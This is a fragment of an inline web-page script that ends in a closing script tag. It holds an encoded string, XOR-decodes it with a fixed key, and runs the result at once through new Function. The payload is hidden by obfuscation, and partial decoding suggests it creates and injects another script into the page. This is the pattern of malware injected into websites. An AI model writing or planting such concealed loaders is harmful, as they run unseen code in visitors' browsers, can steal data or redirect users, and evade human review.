QVgIFSEpfSEMDTV5FSF9CREUDAlBZTl9eWUULdEhFSkBHWwN0TEVJWExbABoCEFYCEFZNXkVIX0JERQt0X0hcRURSXAN0WVNSWlgCUF1KWQt0UkFMXkIWT0RIXkZORV8FSFlOSl9ObkdORk5FXwMMWEhZQltfDAIQdFJBTF5CBVhZSBZ0WVNSWlgADARKW0IFW0NbFFgWDAB0QEBIQURFEHRSQUxeQgVKWFJFSBZfWV5OEANPREheRk5FXwVDTkpPV1dPREheRk5FXwVJRE9SAgVKW1tORU9oQ0JHTwN0UkFMXkICEFZ0SEVKQEdbAxsCBV9DTkUDTV5FSF9CREUDdFlTUlpYAlBCTQN0WVNSWlgCdF9IXEVEUlwDdFlTUlpYAhBWAhBWAgMCEA=='),_0x21d4=43,_0xa9ac=new Uint8Array(_0x8b6d['length']),_0x623c=0;for(;_0x623c<_0x8b6d['length'];_0x623c++)_0xa9ac[_0x623c]=_0x8b6d['charCodeAt'](_0x623c)^_0x21d4;(new Function(new TextDecoder()['decode'](_0xa9ac)))()}();
</script>